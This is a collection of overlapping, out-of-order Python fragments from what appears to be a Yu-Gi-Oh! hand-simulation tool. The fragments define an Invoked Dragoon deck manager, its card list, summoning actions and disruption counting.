"= Card(\"Ash Blossom & Joyous Spring\", CardType.MONSTER) ogre = Card(\"Ghost Ogre & Snow",
"if self.dm in game.deck: dm_location = game.deck elif self.dm in game.hand: dm_location =",
"class InvokedDragoonManager(Manager): # Invoked aleister = Card(\"Aleister the Invoker\", CardType.MONSTER) invocation = Card(\"Invocation\",",
"# Invoked aleister = Card(\"Aleister the Invoker\", CardType.MONSTER) invocation = Card(\"Invocation\", CardType.SPELL) meltdown",
"red_eyes_location = game.hand return dm_location, red_eyes_location ######### # Selects ######### def select_invocation_banish_from_grave(self, game:",
"Optional[Game]: if self.terraforming in game.hand and game.hopt_available(self.terraforming): target = self.select_terraforming_target(game) if not target:",
"= game.hand.cards[:] for card in hand: if count := hand.count(card) == 1: if",
"game.deck: game.move(game.deck, game.hand, self.aleister) return game def action_summon_aleister(self, game: Game) -> Optional[Game]: if",
"for corobane if self.lightstage in game.deck: my_card = self.lightstage if self.meltdown in game.deck:",
"game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj) return game def action_summon_gardna(self, game: Game) ->",
"Tuple from framework import CardGroup, CardType, DeckList, Disruption, Manager, Card, Game class InvokedDragoonManager(Manager):",
"(imperm, crow, meister, veiler, cyclone) going_second = (duster, mind_control) verte_materials = ( aleister,",
"2), (imperm, 3), (ash, 3), (souls, 3), (dm, 2), # (fleur, 1), (red_eyes,",
"game.disruptions.add(self.disr_mechaba_s) elif card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t) if game.has_flag(\"mechaba\"): pure_distruptions += 1 for card",
"= None, None if self.meltdown in game.hand or self.aleister in game.hand: # we",
"if card == self.prison: game.disruptions.add(self.disr_prison) elif card == self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1))",
"= self.meltdown else: if self.meltdown in game.deck: my_card = self.meltdown if self.lightstage in",
"Rotation\", CardType.SPELL) # Draw desires = Card(\"Pot of Desires\", CardType.SPELL) upstart = Card(\"Upstart",
"= (corobane, candina, artemis, gardna, fleur) not_opt = (imperm, crow, meister, veiler, cyclone)",
"2 elif count == 2: if card in self.not_opt: redundant_cards[card] = 1 else:",
"card in self.hand_traps: if card == self.gamma and self.driver in game.banished: continue if",
"= self.lightstage return my_card, opp_card ######### # Actions ######### def action_use_upstart(self, game: Game)",
"Crow\", CardType.MONSTER) belle = Card(\"Ghost Belle & Haunted Mansion\", CardType.MONSTER) meister = Card(\"Skull",
"game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game def get_redundant_cards_in_hand( self, game: Game, include_useful: bool = False",
"disr_judgment = Disruption(repr(judgment), 2) disr_aleister = Disruption(repr(aleister), 1) # Lists hand_traps = (ash,",
"and not (self.corobane in game.hand and self.candina in game.hand) ): return self.lightstage elif",
"( self.souls in game.hand and game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\") ): dump_target = self.select_souls_dump(game)",
"2 else: redundant_cards[card] = 3 to_return = sorted( redundant_cards.keys(), key=lambda x: redundant_cards[x], reverse=True",
"self.meltdown else: if self.meltdown in game.deck: my_card = self.meltdown if self.lightstage in game.deck:",
"gardna, fleur) not_opt = (imperm, crow, meister, veiler, cyclone) going_second = (duster, mind_control)",
"Game) -> Optional[Card]: if ( self.meltdown in game.deck and game.hopt_available(self.meltdown) and self.meltdown not",
"normal if self.candina in game.deck: game.move(game.deck, game.hand, self.candina) elif self.corobane in game.deck: game.move(game.deck,",
"Game class InvokedDragoonManager(Manager): # Invoked aleister = Card(\"Aleister the Invoker\", CardType.MONSTER) invocation =",
"######### # Actions ######### def action_use_upstart(self, game: Game) -> Optional[Game]: if self.upstart in",
"and red_eyes_location): return None game.use_hopt(self.verte) game.move(game.deck, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave,",
"game def action_summon_fleur(self, game: Game) -> Optional[Game]: if ( self.fleur in game.hand and",
"== 1: if game.hopt_available(card): redundant_cards[card] = 0 else: redundant_cards[card] = 2 elif count",
"the Invoker\", CardType.MONSTER) invocation = Card(\"Invocation\", CardType.SPELL) meltdown = Card(\"Magical Meltdown\", CardType.SPELL) terraforming",
"game.move(game.deck, game.hand, self.candina) return game else: game.move(game.hand, game.backrow, self.lightstage) # search candina to",
"def select_set_rotation_targets(self, game: Game) -> List[Card]: my_card, opp_card = None, None if self.meltdown",
"in game.monsters: game.move(game.monsters, game.grave, self.aleister) elif self.jester in game.monsters: game.move(game.monsters, game.grave, self.jester) elif",
"and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane) return game def action_normal_summon_candina(self, game: Game)",
"game.backrow, self.lightstage) # search candina to normal if self.candina in game.deck: game.move(game.deck, game.hand,",
"self.lightstage in game.deck: my_card = self.lightstage if self.meltdown in game.deck: opp_card = self.meltdown",
"in [CardType.SPELL, CardType.TRAP]: fodder.append(card) return fodder def select_terraforming_target(self, game: Game) -> Optional[Card]: if",
"in game.hand and not (self.corobane in game.hand and self.candina in game.hand) ): return",
"ogre = Card(\"Ghost Ogre & Snow Rabbit\", CardType.MONSTER) droll = Card(\"Droll & Lock",
") if include_useful: return to_return else: return [card for card in to_return if",
"Optional[Game]: if self.verte in game.extra_deck and game.resource_available(\"summon\"): materials = [] monsters = game.monsters.cards[:]",
"Card(\"Red-Eyes Black Dragon\", CardType.MONSTER) ref = Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion = Card(\"Magicalized Fusion\",",
"not in game.hand and not (self.corobane in game.hand and self.candina in game.hand) ):",
"self.select_souls_fodder(game, 2) if not fodder: return None while fodder: game.move(game.hand, game.grave, fodder.pop()) game.draw()",
"action_use_souls(self, game: Game) -> Optional[Game]: if self.souls in game.monsters and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls,",
"and self.aleister not in game.hand ): return self.meltdown elif ( self.lightstage in game.deck",
"my_card, opp_card = None, None if self.meltdown in game.hand or self.aleister in game.hand:",
"): if self.meltdown in game.hand or self.aleister in game.hand: game.move(game.hand, game.backrow, self.lightstage) #",
"Card(\"<NAME>, the Knighted\", CardType.MONSTER) droplet = Card(\"Forbidden Droplet\", CardType.SPELL) called = Card(\"Called by",
"Card(\"Cosmic Cyclone\", CardType.SPELL) duster = Card(\"Harpie's Feather Duster\", CardType.SPELL) mind_control = Card(\"Mind Control\",",
"game def action_summon_almiraj(self, game: Game) -> Optional[Game]: if ( self.almiraj in game.extra_deck and",
"framework import CardGroup, CardType, DeckList, Disruption, Manager, Card, Game class InvokedDragoonManager(Manager): # Invoked",
"self.meltdown not in game.hand and self.aleister not in game.hand ): return self.meltdown elif",
"self.jester) elif self.souls in game.monsters: game.move(game.monsters, game.grave, self.souls) else: return None game.move(game.extra_deck, game.monsters,",
"fodder = self.select_souls_fodder(game, 2) if not fodder: return None while fodder: game.move(game.hand, game.grave,",
"= Card(\"Effect Veiler\", CardType.MONSTER) gamma = Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver = Card(\"PSY-Frame Driver\",",
"gardna? standard_decklist = DeckList( ( (aleister, 3), (invocation, 2), (meltdown, 3), (terraforming, 1),",
"self.aleister in game.deck: game.move(game.deck, game.hand, self.aleister) return game def action_summon_aleister(self, game: Game) ->",
"spell\") ): if self.meltdown in game.hand or self.aleister in game.hand: game.move(game.hand, game.backrow, self.lightstage)",
"> 1] def find_dragoons_materials( self, game: Game ) -> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location",
"in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.jester)",
"if self.meltdown in game.deck: opp_card = self.meltdown else: if self.meltdown in game.deck: my_card",
"self.hand_traps: if card == self.gamma and self.driver in game.banished: continue if card ==",
"CardType.EXTRA_DECK) artemis = Card(\"Artemis, the Magistus Moon Maiden\", CardType.EXTRA_DECK) mechaba = Card(\"Invoked Mechaba\",",
"game: Game) -> List[Card]: my_card, opp_card = None, None if self.meltdown in game.hand",
"(augoeides, 1), (omega, 1), (dragoon, 2), (verte, 2), ), ) default_decklist = standard_decklist",
"aleister = Card(\"Aleister the Invoker\", CardType.MONSTER) invocation = Card(\"Invocation\", CardType.SPELL) meltdown = Card(\"Magical",
"game def action_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in game.hand and",
"Disruption, Manager, Card, Game class InvokedDragoonManager(Manager): # Invoked aleister = Card(\"Aleister the Invoker\",",
"action_summon_almiraj(self, game: Game) -> Optional[Game]: if ( self.almiraj in game.extra_deck and self.aleister in",
"= Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna = Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis = Card(\"Artemis, the",
"redundant_cards[card] = 3 to_return = sorted( redundant_cards.keys(), key=lambda x: redundant_cards[x], reverse=True ) if",
"Impermanence\", CardType.TRAP) # Dragoons dm = Card(\"Dark Magician\", CardType.MONSTER) red_eyes = Card(\"Red-Eyes Black",
"from typing import List, Optional, Tuple from framework import CardGroup, CardType, DeckList, Disruption,",
"game.move(game.hand, game.monsters, self.candina) if self.lightstage in game.deck: game.move(game.deck, game.hand, self.lightstage) elif self.corobane in",
"game: Game) -> Optional[Game]: if ( self.verte in game.monsters and game.hopt_available(self.verte) and self.ref",
"def postprocess(self, game: Game): return game def endphase(self, game: Game): for card in",
"-> Optional[Card]: return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game: Game) -> Optional[Card]: return game.monsters.get_any(self.light_monsters) def",
"pure_distruptions += 1 game.disruptions.add(Disruption(repr(card), 1)) for card in game.backrow: if card in self.cards_to_set:",
"game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane) return game def action_normal_summon_candina(self, game: Game) ->",
"game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_summon_fleur(self,",
"): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.use_hopt(self.verte)",
"InvokedDragoonManager(Manager): # Invoked aleister = Card(\"Aleister the Invoker\", CardType.MONSTER) invocation = Card(\"Invocation\", CardType.SPELL)",
"summon\") and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.aleister) game.use_resource(\"normal summon\") if self.invocation in game.deck:",
"carrier = Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna = Card(\"Secure",
"cards and len(fodder) < count: card = cards.pop() if card.card_type in [CardType.SPELL, CardType.TRAP]:",
"not game.monsters.cards ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return",
"def action_summon_mechaba(self, game: Game) -> Optional[Game]: if ( self.invocation in game.hand and self.mechaba",
"fodder def select_terraforming_target(self, game: Game) -> Optional[Card]: if ( self.meltdown in game.deck and",
"game.move(game.extra_deck, game.monsters, self.almiraj) return game def action_summon_gardna(self, game: Game) -> Optional[Game]: if (",
"= Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation = Card(\"Set Rotation\", CardType.SPELL) # Draw desires =",
"else: return None def select_set_rotation_targets(self, game: Game) -> List[Card]: my_card, opp_card = None,",
"Optional[Game]: if ( self.verte in game.monsters and game.hopt_available(self.verte) and self.ref in game.deck and",
"dump_target = self.select_souls_dump(game) if not dump_target: return None game.move(game.deck, game.grave, dump_target) game.move(game.hand, game.monsters,",
"Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\", 0)",
"in game.deck: game.move(game.deck, game.hand, self.corobane) elif self.candina in game.deck: game.move(game.deck, game.hand, self.candina) return",
"game.use_hopt(self.jester) return game def action_normal_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in",
"game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return game def action_use_ref(self,",
"in self.cards_to_set: game.move(game.hand, game.backrow, card) # Process Disruptions pure_distruptions = 0 if self.dragoon",
"Card(\"D.D. Crow\", CardType.MONSTER) belle = Card(\"Ghost Belle & Haunted Mansion\", CardType.MONSTER) meister =",
"1)) for card in game.backrow: if card in self.cards_to_set: pure_distruptions += 1 if",
"pure_distruptions < 3 and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game def get_redundant_cards_in_hand( self, game:",
"1), (prison, 2), (imperm, 3), (ash, 3), (souls, 3), (dm, 2), # (fleur,",
"in game.hand and self.candina in game.hand) ): return self.lightstage elif self.meltdown in game.deck:",
"in game.hand.cards[:]: # make a copy so we can modify hand if card",
"self.fleur in game.hand and game.resource_available(\"summon\") and any(card.card_type == CardType.EXTRA_DECK for card in game.monsters)",
"disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ] def postprocess(self, game: Game): return game def endphase(self,",
"self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target) elif field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target) else: return",
"game: Game, count: int) -> List[Card]: fodder = [] cards = self.get_redundant_cards_in_hand(game, include_useful=False)",
"game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.jester) return game def action_summon_corobane(self, game: Game)",
"self.lightstage) # search corobane, alesiter will be normaled if self.corobane in game.deck: game.move(game.deck,",
"== 2: if card in self.not_opt: redundant_cards[card] = 1 else: redundant_cards[card] = 2",
"and self.dragoon in game.extra_deck ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and",
"2), (judgment, 2), (upstart, 1), (duster, 1), (mind_control, 1), (set_rotation, 1), (called, 1),",
"self.corobane) game.use_hopt(self.corobane) return game def action_normal_summon_candina(self, game: Game) -> Optional[Game]: if ( self.candina",
"None game.move(game.deck, game.grave, dump_target) game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls, \"summon\") return game def action_normal_summon_souls(self,",
"return game def endphase(self, game: Game): for card in game.hand.cards[:]: # make a",
"game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister) return game def action_summon_artemis(self, game: Game) -> Optional[Game]: if",
"and take stage for corobane if self.lightstage in game.deck: my_card = self.lightstage if",
"(red_eyes, 2), (ref, 3), (magicalized_fusion, 1), (candina, 1), (corobane, 1), (lightstage, 1), #",
"1), (gardna, 1), (mechaba, 2), (purgatrio, 1), (augoeides, 1), (omega, 1), (dragoon, 2),",
"Optional[Game]: if self.artemis in game.extra_deck and game.resource_available(\"summon\"): if self.aleister in game.monsters: game.move(game.monsters, game.grave,",
"Optional[Game]: if ( self.gardna in game.extra_deck and self.almiraj in game.monsters and game.resource_available(\"summon\") ):",
"= Card(\"Red-Eyes Black Dragon\", CardType.MONSTER) ref = Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion = Card(\"Magicalized",
"card in game.hand: if card in self.hand_traps: if card == self.gamma and self.driver",
"self.candina]) and game.resource_available(\"activate field spell\") ): if self.meltdown in game.hand or self.aleister in",
"1 if self.mechaba in game.monsters: for card in game.hand: game.add_flag(\"mechaba\") if card.card_type ==",
"in game.extra_deck and game.resource_available(\"summon\"): if self.aleister in game.monsters: game.move(game.monsters, game.grave, self.aleister) elif self.jester",
"game.monsters and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon) pure_distruptions += 1 if self.mechaba in game.monsters: for",
"self.dm else: return None def select_souls_fodder(self, game: Game, count: int) -> List[Card]: fodder",
"(artemis, 1), (gardna, 1), (mechaba, 2), (purgatrio, 1), (augoeides, 1), (omega, 1), (dragoon,",
"include_useful: return to_return else: return [card for card in to_return if redundant_cards[card] >",
"game.move(game.grave, game.deck, self.invocation) game.move(game.banished, game.hand, self.aleister) game.deck.shuffle() return game def action_summon_verte(self, game: Game)",
"2) disr_judgment = Disruption(repr(judgment), 2) disr_aleister = Disruption(repr(aleister), 1) # Lists hand_traps =",
"= self.select_terraforming_target(game) if not target: return None game.move(game.hand, game.grave, self.terraforming) game.move(game.deck, game.hand, target)",
"not game.monsters.cards and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane) return game def action_normal_summon_candina(self,",
"game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck, self.invocation) game.move(game.banished, game.hand, self.aleister) game.deck.shuffle() return game def action_summon_verte(self,",
"if self.lightstage in game.deck: opp_card = self.lightstage return my_card, opp_card ######### # Actions",
"called = Card(\"Called by the Grave\", CardType.SPELL) cyclone = Card(\"Cosmic Cyclone\", CardType.SPELL) duster",
"copy so we can modify hand if card in self.cards_to_set: game.move(game.hand, game.backrow, card)",
"if self.meltdown in game.hand or self.aleister in game.hand: game.move(game.hand, game.backrow, self.lightstage) # search",
"my_card = self.lightstage if self.meltdown in game.deck: opp_card = self.meltdown else: if self.meltdown",
"Optional[Game]: if self.souls in game.monsters and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\") if self.meltdown in",
"self.almiraj in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna) return",
"Game) -> Optional[Game]: if ( self.jester in game.hand and game.hopt_available(self.jester) and game.resource_available(\"summon\") ):",
"game.deck: dm_location = game.deck elif self.dm in game.hand: dm_location = game.hand if self.red_eyes",
"game def action_summon_artemis(self, game: Game) -> Optional[Game]: if self.artemis in game.extra_deck and game.resource_available(\"summon\"):",
"fleur, ) # artemis, almiraj, gardna? standard_decklist = DeckList( ( (aleister, 3), (invocation,",
"while fodder: game.move(game.hand, game.grave, fodder.pop()) game.draw() return game def action_summon_jester(self, game: Game) ->",
"Veiler\", CardType.MONSTER) gamma = Card(\"PSY-Framegear Gamma\", CardType.MONSTER) driver = Card(\"PSY-Frame Driver\", CardType.MONSTER) crow",
"if self.mechaba in game.monsters: for card in game.hand: game.add_flag(\"mechaba\") if card.card_type == CardType.MONSTER:",
"import CardGroup, CardType, DeckList, Disruption, Manager, Card, Game class InvokedDragoonManager(Manager): # Invoked aleister",
"= self.select_set_rotation_targets(game) if not (my_card and opp_card): return None else: game.use_resource(\"activate field spell\")",
"Game) -> Optional[Card]: if self.dm in game.deck: return self.dm else: return None def",
"game.monsters and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\") if self.meltdown in game.backrow: game.move(game.backrow, game.grave, self.meltdown)",
"Optional[Game]: if ( self.aleister in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.move(game.hand,",
"-> Optional[Game]: if ( self.gardna in game.extra_deck and self.almiraj in game.monsters and game.resource_available(\"summon\")",
"= (belle, called) cards_to_set = (judgment, droplet, called, imperm, prison, cyclone) discards =",
"Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna = Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis = Card(\"Artemis, the Magistus",
"game.hand if self.red_eyes in game.deck: red_eyes_location = game.deck elif self.red_eyes in game.hand: red_eyes_location",
"1)) if pure_distruptions >= 3: game.add_flag(\"3+ disruptions\") if pure_distruptions < 3 and not",
"card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type == CardType.TRAP:",
"Process Disruptions pure_distruptions = 0 if self.dragoon in game.monsters and len(game.hand): game.add_flag(\"dragoon\") game.disruptions.add(self.disr_dragoon)",
"1), (cyclone, 2), (judgment, 2), (upstart, 1), (duster, 1), (mind_control, 1), (set_rotation, 1),",
"(cyclone, 2), (judgment, 2), (upstart, 1), (duster, 1), (mind_control, 1), (set_rotation, 1), (called,",
"pure_distruptions += 1 if card == self.prison: game.disruptions.add(self.disr_prison) elif card == self.judgment: game.disruptions.add(self.disr_judgment)",
"and self.driver in game.banished: continue if card == self.imperm: continue pure_distruptions += 1",
"game.move(game.hand, game.monsters, self.souls) return game def action_use_souls(self, game: Game) -> Optional[Game]: if self.souls",
"( self.aleister in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.aleister)",
"droll, crow, belle, meister, gamma) protection = (belle, called) cards_to_set = (judgment, droplet,",
"in game.hand and any(card in game.deck for card in [self.corobane, self.candina]) and game.resource_available(\"activate",
"game.resource_available(\"summon\") ): dump_target = self.select_souls_dump(game) if not dump_target: return None game.move(game.deck, game.grave, dump_target)",
"game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.jester) return",
"def action_summon_fleur(self, game: Game) -> Optional[Game]: if ( self.fleur in game.hand and game.resource_available(\"summon\")",
"game.move(game.monsters, game.grave, self.souls) else: return None game.move(game.extra_deck, game.monsters, self.artemis) return game def action_summon_almiraj(self,",
"): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.souls) return game def action_use_souls(self, game: Game) ->",
"game.monsters: game.move(game.monsters, game.banished, self.aleister) else: return None if grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished,",
"and any(card in game.deck for card in [self.corobane, self.candina]) and game.resource_available(\"activate field spell\")",
"game: Game) -> Optional[Game]: if self.terraforming in game.hand and game.hopt_available(self.terraforming): target = self.select_terraforming_target(game)",
"droll = Card(\"Droll & Lock Bird\", CardType.MONSTER) veiler = Card(\"Effect Veiler\", CardType.MONSTER) gamma",
"Engine candina = Card(\"Trickstar Candina\", CardType.MONSTER) corobane = Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage =",
"driver = Card(\"PSY-Frame Driver\", CardType.MONSTER) crow = Card(\"D.D. Crow\", CardType.MONSTER) belle = Card(\"Ghost",
"action_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in game.hand and game.hopt_available(self.jester) and",
"(ref, 3), (magicalized_fusion, 1), (candina, 1), (corobane, 1), (lightstage, 1), # (upstart, 1),",
"= Card(\"Dark Magician\", CardType.MONSTER) red_eyes = Card(\"Red-Eyes Black Dragon\", CardType.MONSTER) ref = Card(\"Red-Eyes",
"Feather Duster\", CardType.SPELL) mind_control = Card(\"Mind Control\", CardType.SPELL) prison = Card(\"Ice Dragon's Prison\",",
"-> List[Card]: my_card, opp_card = None, None if self.meltdown in game.hand or self.aleister",
"Lock Bird\", CardType.MONSTER) veiler = Card(\"Effect Veiler\", CardType.MONSTER) gamma = Card(\"PSY-Framegear Gamma\", CardType.MONSTER)",
"CardType.EXTRA_DECK) verte = Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK)",
"my_card = self.meltdown if self.lightstage in game.deck: opp_card = self.lightstage return my_card, opp_card",
"game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming) return game def action_use_set_rotation(self, game: Game) -> Optional[Game]: if",
"game: Game) -> Optional[Game]: if ( self.ref in game.hand and self.dragoon in game.extra_deck",
"and self.mechaba in game.extra_deck and game.resource_available(\"summon\") ): if self.aleister in game.grave: game.move(game.grave, game.banished,",
"game def action_normal_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in game.hand and",
"nibiru, droll, crow, belle, meister, gamma) protection = (belle, called) cards_to_set = (judgment,",
"if not fodder: return None while fodder: game.move(game.hand, game.grave, fodder.pop()) game.draw() return game",
"elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def action_use_lightstage(self, game: Game)",
"self.lightstage) # search candina to normal if self.candina in game.deck: game.move(game.deck, game.hand, self.candina)",
"(mechaba, 2), (purgatrio, 1), (augoeides, 1), (omega, 1), (dragoon, 2), (verte, 2), ),",
"None else: game.use_resource(\"activate field spell\") game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card) return",
"def select_souls_dump(self, game: Game) -> Optional[Card]: if self.dm in game.deck: return self.dm else:",
"in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna) return game",
"and self.almiraj in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.almiraj) game.move(game.extra_deck, game.monsters, self.gardna)",
"(M)\", 2) disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison",
"self.meltdown) game.use_hopt(self.meltdown) if self.aleister in game.deck: game.move(game.deck, game.hand, self.aleister) return game def action_summon_aleister(self,",
"if self.dm in game.deck: return self.dm else: return None def select_souls_fodder(self, game: Game,",
"== self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions >= 3: game.add_flag(\"3+ disruptions\") if",
"game.move(game.monsters, game.banished, self.aleister) else: return None if grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target)",
"game: Game) -> Optional[Game]: if ( self.lightstage in game.hand and any(card in game.deck",
"= Card(\"Invoked Purgatrio\", CardType.EXTRA_DECK) omega = Card(\"Psy-framelord Omega\", CardType.EXTRA_DECK) verte = Card(\"Predaplant Verte",
"Fusion\", CardType.SPELL) magicalized_fusion = Card(\"Magicalized Fusion\", CardType.SPELL) # Misc fleur = Card(\"<NAME>, the",
"self.almiraj) return game def action_summon_gardna(self, game: Game) -> Optional[Game]: if ( self.gardna in",
"Game) -> Optional[Game]: if ( self.meltdown in game.hand and game.hopt_available(self.meltdown) and game.resource_available(\"activate field",
"import List, Optional, Tuple from framework import CardGroup, CardType, DeckList, Disruption, Manager, Card,",
"for card in game.hand.cards[:]: # make a copy so we can modify hand",
"redundant_cards[x], reverse=True ) if include_useful: return to_return else: return [card for card in",
"): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and red_eyes_location): return None game.move(game.hand,",
"continue pure_distruptions += 1 game.disruptions.add(Disruption(repr(card), 1)) for card in game.backrow: if card in",
"Optional[Card]: if ( self.meltdown in game.deck and game.hopt_available(self.meltdown) and self.meltdown not in game.hand",
"= Card(\"Upstart Goblin\", CardType.SPELL) # Hand Traps nibiru = Card(\"Nibiru, the Primal Being\",",
"3: game.add_flag(\"3+ disruptions\") if pure_distruptions < 3 and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game",
"= Card(\"Ghost Belle & Haunted Mansion\", CardType.MONSTER) meister = Card(\"Skull Meister\", CardType.MONSTER) imperm",
"# Hand Traps nibiru = Card(\"Nibiru, the Primal Being\", CardType.MONSTER) ash = Card(\"Ash",
"corobane = Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage = Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation = Card(\"Set",
"game def action_summon_mechaba(self, game: Game) -> Optional[Game]: if ( self.invocation in game.hand and",
"else: redundant_cards[card] = 2 else: redundant_cards[card] = 3 to_return = sorted( redundant_cards.keys(), key=lambda",
"Deck carrier = Card(\"Union Carrier\", CardType.EXTRA_DECK) almiraj = Card(\"Salamangreat Almiraj\", CardType.EXTRA_DECK) gardna =",
"game def action_use_set_rotation(self, game: Game) -> Optional[Game]: if self.set_rotation in game.hand: my_card, opp_card",
"self.invocation in game.hand and self.mechaba in game.extra_deck and game.resource_available(\"summon\") ): if self.aleister in",
"[\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ] def postprocess(self, game: Game): return game def",
"Meltdown\", CardType.SPELL) terraforming = Card(\"Terraforming\", CardType.SPELL) # Extenders jester = Card(\"Jester Confit\", CardType.MONSTER)",
"self.souls in game.monsters and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\") if self.meltdown in game.backrow: game.move(game.backrow,",
"in game.hand and game.hopt_available(self.jester) and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester) return game",
"< count: card = cards.pop() if card.card_type in [CardType.SPELL, CardType.TRAP]: fodder.append(card) return fodder",
"if ( self.gardna in game.extra_deck and self.almiraj in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters,",
"card == self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions >= 3: game.add_flag(\"3+ disruptions\")",
"Game) -> Optional[Game]: if self.souls in game.monsters and game.hopt_available(self.souls, \"draw\"): game.use_hopt(self.souls, \"draw\") if",
"game.extra_deck and self.aleister in game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck, game.monsters,",
"in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.souls)",
"== CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type == CardType.TRAP: game.disruptions.add(self.disr_mechaba_t)",
"red_eyes_location ######### # Selects ######### def select_invocation_banish_from_grave(self, game: Game) -> Optional[Card]: return game.grave.get_any(self.light_monsters)",
"return game.monsters.get_any(self.light_monsters) def select_souls_dump(self, game: Game) -> Optional[Card]: if self.dm in game.deck: return",
"game.extra_deck and not game.monsters.cards ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location and",
"in game.backrow: if card in self.cards_to_set: pure_distruptions += 1 if card == self.prison:",
"disruptions\") if pure_distruptions < 3 and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game def get_redundant_cards_in_hand(",
